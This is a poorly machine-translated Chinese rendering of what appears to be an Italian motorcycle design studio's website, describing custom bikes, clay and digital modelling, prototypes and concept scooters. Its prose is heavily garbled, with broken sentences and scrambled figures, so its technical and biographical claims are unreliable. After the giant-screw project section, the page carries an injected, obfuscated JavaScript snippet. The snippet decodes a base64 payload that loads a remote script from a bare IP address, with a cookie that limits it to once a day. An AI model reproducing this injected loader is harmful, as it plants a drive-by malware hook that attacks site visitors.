哈雷戴维森 Heritage Softail Restomod
哈雷戴维森 Heritage Softail Restomod
Harley Davidson Heritage Softail Restomod 是那些一旦完成就永远不想放手的自行车之一.
您在开发过程中爱上了它，因为一切都按计划进行, 或者只是在无数问题之后才结束, 或者刚刚完成了一个细节的开发...
您想用来保留的其中之一, 也许你嫉妒或特别自豪.
嗯，这样的项目不会经常发生, 不管多么好, 有更好的和更差的.
HDHSR是更好的之一. 各种意义上, 对于那些成功的人, 对于那些骑它的人和自行车本身, 现在更现代, 更有科技感, 更迷人, 但总是和同一个大班, 总是有它的深度.
博客 & 会谈
文章
- 哈雷戴维森 Heritage Softail Restomod
- 博客 & 会谈
- CR&年03 “体育”
- 举世无双的X型重载
- CR&小号进行
- 铃木SV 650 “Stronzetta”
- 超级特殊N°14
- 本报汽车
- 设计 & 概念
- Italjet咖啡因 250
- DUU红移 – 设计师的摩托车定制的贡献
- Modelleria克莱
- 原型, 假人自行车
- 摩托定制
- 样机DIGITALE
- 螺丝钉… 但巨人!
- OEM摩托车ABS系统
- 颜色 & 修剪 – 绘画和图形
- 鬼
- H4 – MOTO TATTOO
- 表面工程与建模
- 应用程序开发和3D配置器
- 三维全局配置
- UM叛徒SCRAMBLER 300W
- 从EICMA刚回来 2017
- H2 – FINISH “UNPAINT”
- 风格FLOW – 风格的课程, 设计, Ë渲染草图 (模 “d”)
- 塑性流动 – 物理建模过程和塑料三维打印 (模 “C”)
- METAL FLOW – 的Corso TIG焊接AC / DC钢, 铁和铝 (模 “乙”)
- PIXEL FLOW – 基础课程三维建模 (扎实的作品) (模 “一个”)
- 排气消声器终端CR&小号进行
- 卡特X-楔形小号&发E CR&小号进行
- MOTO.IT
- 从EICMA刚回来 2016
- 叛徒追踪器 300
- 记录电单车C1
- 研究技术和设计
- H5 – BULINATURAËCESELLO
- RIDERS 08 2009
- S3 – LOGISTICA E.I.C.M.A.
- CR&的专业工作者
- MAX 03 2010
- AMD USA 01 2010
- 国际经销商新闻 01 2010
- 低骑 11 2009
- 摩托车设计协会 | 2012 米兰夜
- 有些盖致力于DUU
- RIDERS
- 两个轮子
- 3D打印 – 原型制作, CNC和快速技术
- S4 – 培训
- 蒙克TTX
产品
- 输送机内部支撑 CR&小号进行
- 输送机外部支撑 CR&小号进行
- 衬套转向CR&小号DUU特氟隆
- 对于S发动机空气滤清器&S X-楔形
- 输送机最小的CR&小号进行
- 对于CR Motogadget MOSCOPE PRO支持&小号进行
- 展望无内胎辐条专用于CR&小号进行
- 系统 “光滑” 每CR&年03
- 板CR&的大型罐银 925/1000
- TARGA引擎CR&小号X-楔形DUU原黑漆黄铜
- 板CR&小号漆的黄铜 2 颜色黄/黑原件
- 福尔切拉（Forcella）
- 里程表仪表CR&小号DUU原
- S 正时皮带&S X-楔形
- 成形板的Ag. 925/1000 “CR&小号” “携带” 刻根据客户规格
- 智能骑手后视镜: 道路安全第一!
- 讲了凯旋速度三 1050
- Motogadget支持MOSCOPE PRO哈雷
- S 的透明分销卡特&S X-楔形
CR&年03 “体育”
CR＆S VUN "体育"
“体育”是美丽的，因为它是一个伟大的合作的结果 4 手.
设计是约翰·范·豪顿主人, 我们根据他的主要素描之一和施工期间的一系列反馈将其转化为行进的现实.
在CR&小号VUN是自行车，我们非常清楚地知道, 我们对这个自行车太多的经验, 它是如此容易干扰. 另外，VUN是自行车既美观中的每个组件, 唯一的部分是，我们不相信他们是正确的和尾整流罩, 所以这是很好的工作，努力把这个美丽的项目 2005 如今.
计算机辅助设计
自行车已成为可能多亏了“传统”数控技术, 激光切割, 等等, 但上述这一切都归功于三维打印. 船体已专门设计要打印, 由于其形状的结果是它以便利用3D打印机来产生的片的核心与经校准的标线片型蜂窝的能力进行了优化, 这允许具有自支撑结构, 重量轻，牢固.
同时，该技术优化了打印时间, 让我们创建一个“太阳”的整个船体 60 打印时间.
挡风玻璃和有机玻璃
挡风玻璃照常包含在有机玻璃的一部分, 为方便用户，我们通过使用贸易的组成部分实现了这一 (来源本田CBR1000RR), 扫描在3D建模工件和周围的有机玻璃的车身部件, 所以你可以找到和很简单在世界任何地方取代.
机身做工
这幅画, 图形和颜色和装饰绝对是项目的一个非常重要的组成部分.
出色的工作一直是一个美丽的结果, 然而，随着KAOS设计的另一个合作.
RIZOMA, 戏中戏.
对于灯饰及其配件的一部分不能瞄准最好的一个类似的项目, 从这种需求诞生的机会，工作与RIZOMA的伟大的球员作为世界顶级的制造的零部件的质量方面, 以及在CR的坯料组件的原始供应商&作者原件S.. 从而在CNC帧美丽板已经发现沿着他们的起源到最新的LED元件，例如具有集成的位置光RIZOMA光S箭头和箭头车把LOOK.
这些元素的组合已生育后光组件的安全的赛车牌照灯悬臂效果和功能.
赞助商和项目合作伙伴:
举世无双的X型重载
举世无双的X型重载
该 "举世无双的X型重载" 这是一款让人回想起经典无与伦比车型的风格和魅力的摩托车, 该模型 1929, 但又带有一丝现代感和创新感. 该摩托车配备 V 型双缸发动机 1916 CC, 源自 S 发动机&是的，但由 Matchless 定制, 其发展超过 96 简历. 该摩托车以其独特的设计和尖端的技术解决方案脱颖而出, 类似型前叉 "城堡", 后牵引悬架，减震器位于发动机下方, 带集成油箱的半层状框架, 刹车已停用 12 活塞位于前部和后部 6 在后面, 和无与伦比的品牌发动机头. 重装版 Model X 在 EICMA 米兰摩托车展上首次亮相 2015, 是意大利企业家 Franco Malenotti 热情的成果, 购买了 Matchless 品牌 2012. 该项目获得了Collier家族的同意, 无与伦比的创始人 1899, 谁称赞传统的结合, 摩托车与众不同的技术和优雅. 重装版 Model X 是一款未来可能成为现实的概念摩托车, 因为房子已经备案了 12 其解决方案的专利.
CR&小号进行
CR&小号进行
该 引线 它是 摩托车 由。。。生产 CR&小号 从 2011.
原型在EICMA 该 2009. 它的设计和罗伯托Crepaldi协同多纳托Cannatello设计和Beppe布拉内置机箱和力学. 该DUU是由美国S的X-楔形供电&小号, 整个项目都围绕着它. 发动机来自 1.917 cc 美国提取物, 它的架构让人想起双缸 哈雷戴维森, 但它的设计是完全现代的. 这是房子的第二个模型, 因此它的名字意味着 "应有" 用米兰方言.
Duu 是围绕这个引擎而诞生的，因此几何形状专注于: 高发动机, 轴距 袖珍的, 摇臂 尽可能长的倾斜角度 鹅毛笔 内容, 这导致出色的操控性，但在高速下具有良好的稳定性.
铃木SV 650 “Stronzetta”
该 "Stronzetta", 这种无礼的小女孩谁无耻地想好了, 这是一个年轻的铃木SV 650 该 1999, 一千年, 热爱跑步的音乐, 其中的一个总是在他的头上的耳机运行. 这是因为客户, 4CMP, 它是音响工程师和制片人一名校, 因此，完全音乐项目“赤纬”.
该“Stronzetta”是让我们给定一个巨大的挑战, 不是因为项目的复杂性, 但对于目标我们为自己在该项目的最终成本方面.
主要目的是使原来的SV650主要是针对缓解排队区的完全重新设计. 不可避免的是，在这一点上, 以创建总比例对象也具有介入在摩托车的所有其他组件, 特别是与叉迎风面积特别注明日期, 在这一点上的光组陈旧和不成比例，因此许多机械部件, 车身电子.
我们以“帧客”完整的自行车，然后开始, 拆除其全部, 然后用部件的重画，其被认为是有效和与这些的重新设计其将被替换出发.
底盘已明显看出新的前端的安装上侧向下，并使其适用于所述框架和所述原始轮辋. 我们巧妙地适应了三个组成部分仅在制动盘上的工作, 意识到特设我们通过 DBS Discacciati 他们一贯的质量和精度. 这样，一切都在他的地方去了，很简单，我们可以不断适应植物径向新建制动原来的车轮. 所有的幸福!
所述框架的一部分明显地已要求的工作时间来创建，这是有功能的结构，它被设计与工业方法, 所以没有坚果或奇怪的硬件, 整个运动被组装和拆卸以极其简单的方式. 对于鞍即使我们能够实现紧固带锁紧和创建一个小的储物舱，其中trousse, 文件和在那里你可以轻松地访问到电子元件和电池.
对于身体部分，我们选择在此情况下，用于在元件手状的铝片制成特设, 这给了我们充分的自由形式，并提供优质的功能和重量.
一旦你创建的基本机制和身体的商店，我们可以放纵自己与组件, 特别是电子, 所以去那里重新与原来的音乐主题. 然后，我们安装 全LED照明, 光效果过程中的和 BOSE音响系统 内置通过蓝牙业主与手机连接运动, 最终良好的自行车展, 特别是如果你想你的听众跳舞表演.
像往常一样，该项目的复杂性主要与需要创建一个对象，是不错的, 同时还内置与可靠性的工业标准, 可用性, 当然，维护安全和, 作为结果，许多部件都采用三维打印或数控铣床设计和制造到计算机.
自行车是一种敬意布赖恩伊诺, 环境音乐作曲家和现代电子音乐的一般重要前体的父亲.
在与合作:
超级特殊N°14
最后 4 7月在米兰车库鉴于Motodesign提出红移, UNA摩托定制ス基CR&小号进行. 我们都知道CR&S和他的作品在两个轮子, 我们都记得凭借其强大的双缸的DUU, 摩托车“手工制作, 他的心脏, 在米兰“, 专为大规模生产而设计，但仍保持高度手工和充满个性, 特殊的已经起源，并由设计专家团队变得更加特殊.
为了发现这辆摩托车的所有秘密，我们决定采访多纳托·坎纳泰罗, CR 前首席设计师&S e ora leader del team Given.
热烈欢迎我们来到 REDSHIFT 诞生的布置精美的工作室. 我们去夹层办公室聊天，从那里我们可以看到整个车间和团队成员在工作.
- 首先, Given Motodesign 现实是如何诞生的?
Given 是在我在 CR 等一些公司的摩托车经历之后出生的&小号, 无比, 阿普利亚等.
我更喜欢开辟自己的空间，专注于一家可以为我的想法提供空间的公司. 就这样诞生了 Given 这只不过是我的名字“Donato”的英文翻译.
在这里，我尝试将我从概念和设计到在车间工作的经验充分利用......因为在像 CR 这样的小而美丽的公司&小号, 我们在的地方 10, 显然你负责设计，但你也必须去车间组装和检查所有步骤......所以我在摩托车的开发过程中获得了360°的经验.
本报汽车
纵观自行车, 你可以不知道这个品牌. 更何况无论是好还是不开车. 但有一两件事是肯定的: 喜欢还是不喜欢摩托车, 这是不可能无动于衷定制机对于给定的, 一个小的设计公司，位于米兰, 在意大利. 正是在那里，巴西人路易斯“光头” Mingione工作, 给予物理形式向意大利设计师科技项目多纳托Cannatello.
下面的新自行车的方式, 有CR&小号进行. 一CR&S为一门手艺制造商谁是出生在 1992 在米兰. 缩写代表“赛车和超级摩托车咖啡”. DUU意味着两个米兰方言, 并指示发动机 2.000 立方厘米. 该模型是在摩托沙龙米兰推出 (EICMA) 在 2009. 据Mingione, 由每个销售单位 40 万欧元.
功能是给表格项目
整形函数是Mingione在玻璃纤维和铝, 并进行三维打印, 给予形式通过Cannatello创建思路. 设计师来到自己的CR工作&发E呐艾普瑞利亚, 除其他摩托车制造商.
由于当时只生产 100 示范单位，现在的品牌不工作, 任何CR自行车&S.将足够独家. 然而, 总有谁想要更多的独家尚客. 这是单元的所有者的情况下. Mingione通知它是谁在意大利和新西兰餐馆荷兰人制造. 定制成本 24 万欧元 (大约R $ 110 千). 价格包括项目, 原型, 部件和人工. 这项工作历时半年.
他还曾在CR&从s (一, 在米兰方言), 意大利品牌的第二个模型. 在这种情况下，, 发动机有 650 立方厘米.
一旦自行车准备就绪, 巴西与她散步，看看是否一切正常. Mingione是一个经验丰富的飞行员, 我 2002 他赢得了巴黎 - 达喀尔, 在类别起来 250 立方厘米.
现在, 他说，他开始在一个新的项目工作, 铃木SV 650, 在生产 1999. “自行车是不值得一万欧元 (R $ 4.500), 但是店主将斥资约 6 万欧元 (R $ 27 千) 做独特的东西“, 说.
他说，第一步是完全拆卸的自行车定制. 然后, 画面重新粉刷，并会收到新的部件, 一个过程，需要四个月左右, 根据复杂.
Mingione的工作原理是项目. 他在给定一年前, 并打算继续在那里，直到今年年底到来.
他说，他决定尝试在米兰的生活，因为他的妻子的父母在城里餐厅. 在此之前，, 然而, Mingione经过几个国家去.
在本田了解到塑造粘土帮助
他在巴西加盟本田 1993. 之间 98 Ë 99, 推出的本田商务之后, 在那里，他的第一个原型, 他的确在该公司的总部实习, 在日本. 那里, 他学会了如何建立与粘土原型, 一种工业粘土, 在建筑模型中使用.
在离开日本品牌之后, 在 2006, 他在中国呆了一个月, 在商人的邀请. 我们的目标是选择潜在的摩托车品牌，可以在巴西出售.
超过”这次巡演 30 公司“, 一个来到来到这个国家, 一个伊朗, 其中封闭 2013.
以下, Mingione是福特在土耳其, 里面放着 2015 一个 2016, 玩黏土在室内卡车的发展.
在 2017, 他回到中国. 这是作为顾问的教练 (联合汽车), 总部设在美国哥伦比亚公司, 我打算让全国摩托车. 其后, 他前往米兰, 要留到明年年底.
“我们必须非常打扫车间”
以下类似路径的谁的梦想, Mingione警惕困难: “印度摩托车为那些谁喜欢和想学习新的东西, 趋势, 材料技术与发展“, 说. “但是，对于一个初学者不容易. 你必须炉排和清扫多少车间。“
这一切, 明确, 出来的法律问题 (工作签证) 和通信. 该语言可能是一个障碍, 取决于所选择的国. 关于补偿, Mingione估计，在意大利初学者会收到之间 600 Ë 800 每月欧元 (R $ 2.700 一个R $ 3.600).
设计 & 概念
Give 是一家意大利设计公司, 定制和创新摩托车的原型设计和创建. 我们对两个轮子的热情促使我们尝试新的解决方案并创建独特的原创项目, 表达我们的愿景和风格.
我们的概念是我们想象力和专业知识的成果, 还包括与客户的对话与合作, 他们将他们的想法和需求委托给我们. 每个概念都是一个挑战, 测试我们创造力和专业精神的机会.
在我们的理念中, 有些人创造了真实且有效的模型, 像CR一样&小号进行, o la 无与伦比的 Model X Reloaded.
还有一些还停留在草图或比例模型阶段, 但也因此而变得有趣或具有启发性. 这些是探索不同类型摩托车的概念, 就像咖啡馆赛车手, 扰频器, 浮标, 街头霸王, 耐力赛, 定制, 运动员. 受各种风格和影响启发的概念, 喜欢复古, 现代的, 未来派, 极简主义, 背部. 使用不同材料和组件的概念, 像钢一样, 铝, 碳纤维, 木头, 皮革, 内燃机, 电动机.
我们的理念是我们的名片, 我们向世界展示我们的热情和才华的方式. 它们也是我们邀请那些与我们志同道合的人联系我们并让我们知道他们的愿望和期望的方式. 我们随时准备倾听您的建议并将其变为现实.
加工的阶段
我们可治阶段 理念·先进的理念 试图解释顾客的文体要求, 当前，尤其是未来的发展趋势, 实际的技术和不久的将来.
我们试图从先入为主免费做这一切用一记, 创建有脚在地面上仅由客户所要求的范围对象, 在没有明确的要求，我们自我定位走向 高级概念 这对于我们和终端用户更具挑战性.
定的项目FORM
| 项目简报 | 顾客姓名 | 项目代号 | ||||
|---|---|---|---|---|---|---|
| 市场分析 | 年龄 | 转介市场 | 决算 | 性别 | 使用技巧 | |
| 客户分析 | 工业能力 | 生产能力 | 倒卖能力 | |||
| 产品分析 | 部分 | 运输能力 | 性能/时尚 | 重量 | 物料 | 发动机 |
一个构想草案或高级概念可以模拟形式来表达 (渲染铅笔), DIGITALE 2DÒ3D (静态数字渲染或视频) 或实体模型的形式取决于需求和发展所需要的水平.
我们可以把所有这些阶段的护理，或者只有一些: 我们有办法, 技能和必要的创造力. 我们只能处理最初的概念, 无论是在高级形式 (所以没有真正的意义, 但只有形状和设计研究的研究) 在这样窄的形状 (因此已经有在未来执行标准先看看).
Italjet咖啡因 250
Italjet咖啡因 250
Italjet Caffeina 摩托车 250 这是一款具有复古魅力的咖啡赛车, 这是在 2018 来自意大利摩托车制造商 Italjet. 它是一款陷入小排量世界的摩托车, 但它提供优质的组件和原创且迷人的设计. 该摩托车搭载 60° V 型双缸发动机 250 CC, 风冷, 带电子喷射并获得欧盟认证 4. 发动机提供的功率为 17,7 简历 8.000 rpm 和一对 19 纳米马 6.000 吉里/分钟. 自行车的干重为 128,5 kg 和油箱容量 14 升. 摩托车配备倒叉, 凸轮盘式制动器 280 Ë 240 毫米，带 ABS 和轮胎 110/80-17 到前面和从 130/70-17 该 15 在后面, 取决于版本. 该摩托车有两个版本, 审美观不同, 前灯和后轮的尺寸: 带轮的版本 17 英寸的鞍座高度为 820 mm 和更运动的外观, 而带轮的版本 15 英寸的鞍座高度为 780 mm 和更女性化的外观. 该摩托车于 2017 年投放市场 2019, 有两种颜色: 黑色搭配酒红色或银色/黄色皮革饰边.
DUU红移 – 设计师的摩托车定制的贡献
摩托车是在这一活动中汇聚设计的和谐不同方面, 主要是找到问题的技术解决方案 “运输功能”. 制造商不断寻求在其所有的变种，以优化性能, 我们的目标是最有效和能够解决用户的问题也发言风格凸显媒体的情感成分. 情感是主元件, 摩托车手着周围的一切，因为他们比赛他们意味着它有一个完全不同的外观, 与一切真正的和直接接触. 他们是活跃的消费者, 生活街景，而不是寻找, 他们的感觉是压倒性的热情，可以让你感觉完全自由的快感. 下面的论文包括定制摩托车CR的工作经验研究&小号进行, 有问题的客户是一家私营的申请是, 从开始
现有基, 通过添加组件，这些组件将能够提高使有形的美观产生唯一媒体
顾客的愿望. 多亏了强烈的激情
设计者和客户已创建accumuna
同情的键, 这让GIVEN
motodesign完全满足neces
–
消费者减到, 制作古典基地
一个真正的收藏家的项目. Accomu
–
从这个强烈的感觉诞生, 只是EMPA
–
TIA已与客户的沟通非常
简单而有效的, 从而使设计人员
立即了解客户的需求和,
甚至在某些情况下，, 预期. 在这
所以团队合作是有利的柏美
–
我也倾向于向客户参与
项目给予的即时反馈
进行的研究和原型.
通过对现有技术, GIVEN
motodesign已经能够实现梅茨
–
ZO它有一个强大的工业组分
同时保持工艺的印记
在一些过程中发现, 这样的公司
–
TURE和板的弯曲由铝制
手工制作的团队. 不同之间的持续对话
部门导致创造一个产品
能够表达主人的性格, 岸
–
！蓝盾自己的身份和自己的幸福.
Modelleria克莱
一个在摩托车设计中最重要的步骤当然是建立一个模型 "粘土".
所谓 "汽车粘土" 它是在70年代为运输设计部门专门开发的一种合成粘土, 它具有以下特点, 相比于粘土 (克莱编者按) 传统成重新成形的时间和为热塑性无限数量, 然后软，并在工作温度可塑 (55/65 度) 硬, 紧凑，并在环境温度下碾磨.
这允许最大的自由建模, 并让他能够给到神器正是所期望的形状, 通过简单地使用建模工具或去除一毫米的十分之几的精度.
一旦我们得到所希望的形状可以通过评估阶段继续进行 "亮点墙", 通过特殊的灯和专用涂料是指其中 (在电影或油漆) 我们可以评估表面的形式正确性. 其他的评价，我们可以做, 加上客户显然是美学和人体工学, 检查的形状和体积是正确的, 合和比例公平.
如果变化将被要求, 这不会是一个问题, 返回 "克莱房" 并根据新标准重塑对象.
粘土是一个非常漫长和复杂的过程, 这需要大量的技术和技巧, 同时它需要一个两阶段的电脑设计, 在与CAS / CAM分析阶段风格的第一个实例，它允许有我们要实现什么明确的想法, 和导出合适尺寸媒体, 最后，在表面的最终对接它需要在三维模型的转换过程 (逆向工程), 它也很长且复杂, 所以它的成本肯定高，所以建议 (在我们看来，) 只有在某些情况下，这是不可能用最直接的方式进行.
原型, 假人自行车
以创造力和创新探索新想法!
欢迎来到最激动人心的部分, 创造力和诠释相结合，为独特的项目赋予生命.
对于希望将自己的想法付诸实践或只是好奇地想看到它们变成现实的公司或个人, 我们来这里是为了制作比例原型 1:1 凭借我们的原型设计和生产技能，具有无可挑剔的风格和令人难以置信的精度.
我们从头开始或从您的图纸开始, 确保原型能够最好地体现想法的本质. 使用铝等尖端材料, 铁或定制结构, 我们可以为每个项目创建量身定制的解决方案.
美学部分同样重要, 我们通过各种技巧表达自己, 从经典的粘土作品到 3D 打印和其他高级原型制作形式. 结果? 实现您的愿景.
我们致力于在不牺牲质量的情况下减少加工时间, 因为我们知道按时完成项目有多重要, 通常在沙龙或演讲后几周出现.
相信我们在创建原型和模型方面的热情和专业知识, 在这里，您的概念充满魔力地变得栩栩如生. 我们已准备好与您一起探索新视野, 将想法变成具体的现实. 联系我们塑造您的未来!
摩托定制
你在思考如何使自己的定制自行车? 您是否正在寻找一个专家来建立自己的定制自行车? 完美! 我们在米兰, 但由于我们的运营商网络，我们可以在任何地方你的自行车，并把它带回家.
一旦运动，我们可以根据你的想法或要求绘制, 或者你也可以离开的设计自由度，让我们做的一切, 你只需要来拿吧和惊奇. 无论您的自定义自行车的想法，我们会很乐意分享, 甚至理智战胜了啤酒, 如果你愿意，你可以使 渲染 给你如何可以定制一个想法, 我们可以看到自定义已经在3D观看环境中，你会看到如此真实，你会想跳，并给气! 我们的一个工作最具挑战性的方面是定制的自行车的创建, 或 "定制", 谁想要站在客户, 有明确定义和定制细节, 我们喜欢这个领域，因为它可以让我们释放骑自行车可以成为独特的项目我们的创造力, 因为我们喜欢存在于实现复杂定制的自行车总是不同, 与改变不时新材料和施工技术. 摩托车的定制需要大量的机械实践经验, 但是从我们的角度很重要的一点也正在筹划能力和创造力.
设计与规划
在工业水平，为私人客户定制自行车.
当我们把摩托车鉴于我们不只是更换等原厂配件周围发现, 但我们直接在工件上工作, 或在自行车, 重建, 平局, 设计, 就像客户希望. 不只是一个剪切和粘贴, 但真正的特设项目，其中的细节赚取差价. 在塑造摩托车是专为满足客户的约束需求不同于工业设计的非常不同，涉及到的人，而不是技术或经济利益.
独家项目摩托设计. 意大利机械工程及设计独特的创新项目. 该 20 年来最苛刻的客户服务.
要
在考虑到我们喜欢摩托车 "乡村", 铁, 与机械瞄准具, 现代形态, 但我们始终是一个更工业化进程. 对于我们每个自定义自行车鉴于要慢慢享用的对象, 零碎, 尤其特别的后.
详细信息
我们喜欢所有类型的定制自行车上班, 特别是我们喜欢: BMW单缸拳击手和, CR&一个DUU年03 (这些我们过长... ..经验), 哈雷戴维森小型和大型, 凯旋邦纳维尔e族, 而且我们崇拜日本人, 特别是因为本田是我们想要的，我们与他们种植的自行车.
我们在米兰, 在一个美丽的工业环境, 便捷和保密的, 联系我们 光临, 我们将竭诚为你你的自行车一起定制设计, 或可替换地做出哪怕只是摩托车手聊天.
样机DIGITALE
该数字模型是我们的力量. 和“摩托车设计领域和最后一道防线也是其自然进化数字.
该数字模型是一个过程，希望产生一个摩托车企业能避免在粘土古典阶段样机, 改型和膳宿原型的相位, 而且复杂, 扫描和逆向工程的缓慢且昂贵步骤. 这可以转换为公司的平均储蓄 4/6 上月TTM (上市时间) 与约80/120000€节约成本 . 今天，这个过程可以是非常适合企业与小制作或频繁的重新设计或者降低产品利润.
由于我们的设计感觉和我们的显示系统, 还有我们的3D扫描系统, 我们可以设计一个完全数字化样机, 与已有的重视工程, 如果这是不够的, 我们可以快速创建一个比例模型 1:1 或与原型技术减少, 最好地显示最终结果.
我们在数字认识到了我们有一个完美的风格的一致性和比例可能真实模型.
螺丝钉… 但巨人!
中给出不只是摩托车, 但设计项目一般, 我们实现了对公司EJOT一个 原型 极不寻常, 它的大小螺丝没见过, 其高度1,60m体重290千克. 该项目一直担任该公司击败 世界纪录提升, 我要说的是，我们能够满足客户的距离达到了重量来看都期待, obbligatorimente 300 公斤, 与将其更改为+ -20kg的能力, 无论从美学最后的点.
作为第一步，我们首先进行的研究 设计 ED 工程. 这是一个必不可少的步骤，但至关重要的，因为它可以更好地评估为实现目标，以进行可能的程序; 特别是如果, 在这种情况下，, 他们需要许多操作和许多过程. 该方法的不同取决于你在前面有项目, 在我们的例子让我们通过技术和材料组合，以评估实现.
螺杆的灵魂组成的一个块的 钢 安定, 他们已经粘贴的表面上 stampe 3D 是要重建藤的外观. 这些外部部件被印在 PLA DA月 “在室内” 鸽子, 发布几周后, 他们一直 磨毛, 粘贴 钢, 灌浆 最后 绘. 在螺杆的组装和结构, 连续监测重量，使我们能够控制住螺丝, 同时确认先前的工程研究.
相同的步骤，对小车进行, 的梁 钢 他们一直 焊接 它们之间 (以便能够作为螺钉运输的支持行动都) 进而 绘 红.
下面是说明承诺落实的各个步骤的图像 原型.
敬请关注并保持最新, 一个类似的项目 ( 如果连更离奇) 在任何时候我们的门敲可能.
功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64，ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}
italjet高速赛车
Italjet DRAGSTER 2020 版
修改后的图标!
该Italjet高速赛车是的那些图标之一 80/90 这将永远留在完全被挤到了“欲望”我们的记忆. 我们可能更梦想金贝辛格的 , 也许是因为这两个激发欲望掠夺, 看是否覆盖，我发现一样美丽...
如果能够在我们的青春这样的图标工作是这样一个巨大的荣誉, 乐趣和为我们的责任.
清晰的思路...
Italjet了它应该如何在新千年的旗舰摩托车思路非常清晰, 但是，这些想法转化为现实或数学3D更好.
然后，我们做了一些版本的3D然后传递到数字初步设计的模型，然后合并成，这是可以欣赏的摩托车展EICMA产品 2018.
CR&小号进行 “红移”
在研究的目的!
给定的红移是说明CR的自然演变&小号进行, 摩托车仅由与人员模具摩托车制造商meneghina在小循环产生.
当 2013 DUU该项目是由恶感内部CR中断&小号, 其首席设计师多纳托Cannatello, 在举世无双的一段短时间后, 他决定自己开的设计中心, 并发扬项目DUU, 现在孤儿它的创造者的, 然而，使用专用摩托车的创始人的合作和批准, 以及运算人力的, 感谢不变尊重和友谊.
根据这些谁在当时确定为模型的自然进化“Biotta”某些文体标准原来的自行车已开发 (“裸”版) 由公司提出的场合.
重新设计显然集中在新的岩石稳定的前端, 以创新的系统到中央垫替换原始倒叉和横向滑动鞘. Laprogettazione新的前端出生到计算机, 通过三维建模和有限元分析手段创造的所有组件 , 它也让我们每一个组成部分通过部队控制分析其所承受.
该部件已经实现数控去除技术手段 (数控
计算机化) 方坯铣.
设计 (或者说实现) 不同的铜部件的是这给了色差和手工业性质的摩托车镑.
从原来的形式的车身部件启动, 通过传统的打字技术的基础上沥青, 他们已经采取了一些形状与本身带来熟练技工的手动工作certosini的贵金属元素.
红移仍然是一个摩托车每天, 不仅性能.
一个符合这一理念的主要组成部分是新的乘客座椅/尾具有双重意义, 一方, “封面车”与由铝坯的基体，其创建与尾/箱的几何形状的视觉连续性, 而简单地把它原来的填充鞍如果有必要，以适应乘客.
该项目名称为“红移”, 通过由星体物体发出的光具有比所述一个他在发射有一个波长大尺寸的现象, shiftando它的颜色为红色, 它象征DUU的演变, 从小型摩托车到只有自行车系列演变.
红移IL:
- 红移是由从物体发出的光具有比其具有在发射更长波长的现象.
这意味着，颜色变为红色. - 最重要的是在宇宙学红移, 由于宇宙的膨胀. 特别是显示对应于该速度的红移与从大地增加了它们的距离的分.
- 铜从原来的DUU我们DUU使用其位移, 老龄化将改变其颜色, 假设色变化，该材料将采取.
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Andreani悬挂 | |
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Paaschburg & 德奇有限公司 | |
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Motogadget | |
| 挂毯马拉 | 法布里奇奥·马拉 | |
| pH值. 阿里安娜Pavani | ||
| pH值. 多纳托Cannatello | ||
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比亚乔MP3 “流”
根据比亚乔MP3 GIVEN!
技术性, 功能和颠覆.
打开摩托车概念: 的时间是现在理解为涵盖一个美丽的机械难看塑料形式的经典摩托车的改型右, 市场已准备好重新审视现代都市通勤. 没有为手段的强烈需求，使我们舒适的日常通勤轻松, 可靠性和舒适性. 但今天踏板车 "成熟", 一个谁寻求一个可靠和可用的产品，同时也使他能注意到你向他人转让自己的经验和激情的摩托车, 他愿意放弃一些东西在舒适性方面正好有表征它的媒介，并确定, 而且更重要的所有的乐趣, 这种热情!
我们希望创建一个收集，除非所有的摩托车世界的好处对象, 但感情, 驱动器, 整个宇宙的典型景点, 通过易于工业化和商业化confluendole在项目.
.1 性能: 该发动机将成为跳动的心脏, 协调元件, 基, 不必要的声音，但有效地完美. 现代的300CC发动机为高亮度和性能之间的完美平衡, 但在这种情况下，需要较大排量发动机 (500〜800毫升) 发送良好的共鸣像摩托车.
.2 永恒: 总是自相矛盾的组合形式与功能笼罩设计师, 在这个永恒的二元论，只有一两件事是肯定的, 该功能是永恒的, 形状老化. 我们的目标是紧密联系在一起的特定的功能, 其机械专题.
.3 魅力: 在这种情况下的吸引力是一个孩子谁看的洗衣机旋. 日常生活的必需品, 尽管其视觉虚荣失败去换它的色彩和细节千变万化旅游的例行仪式.
.4 机械学: 精致的力学, 由功能部件的还要漂亮, 不要太工业, 好制成并设计成可以看出和理解, 勾心斗角和吸引.
流是我们为MP3家庭未来风格的建议. 在重点和“他的自然变化 2020, 它仍然是一辆摩托车，但其详细信息supernaked. 这与脚踏实地的探索路径的一个项目，其他摩托车厂家都留下未开发的现在, 这意味着作为踏板车摩托车临时的手段，但是作为经典的机车的演变.
我们的建议提供了定义的多种方式, 从静态实体模型与具体的一个工作原型和生产特性. E“配备了当前区间顶部关于机械和驾驶. 其创新的贡献涉及非机械式的.
胡蜂纹身
你能说那尚未说，胡蜂? ForSE召开前夕给联合国BEL 黥?
黄蜂是摩托车和流行引擎的图标, 他已经跨越了几十年，而在刀刃上剩余, 总是自己的真实, 总是光引擎的神话. E“在所有可能的解释解释, 从最pistaiole和乐趣非常时髦 (Ø嬉皮士), 通过各种邪教诸如由膜产生的 Quadrophenia 该 1979, 心情一代的象征反对叛乱造反!
多年来黄蜂被肢解, 有色, 拙劣的, 准备, 减轻和加权, 通过e volgarizzata渲染著名... 我们把它简单的纹身!
我们已经不可磨灭地腐蚀他的钢皮 (维持钢铁, 始终忠实于科雷迪诺·达斯卡尼奥的原方案), 我们上面雕刻一个美丽的花艺设计，已成为他的身体/底盘的组成部分, 不可磨灭的一部分, 永远的爱, 不能用的油漆外衣简单被删除, 这将永远在那里它被放.
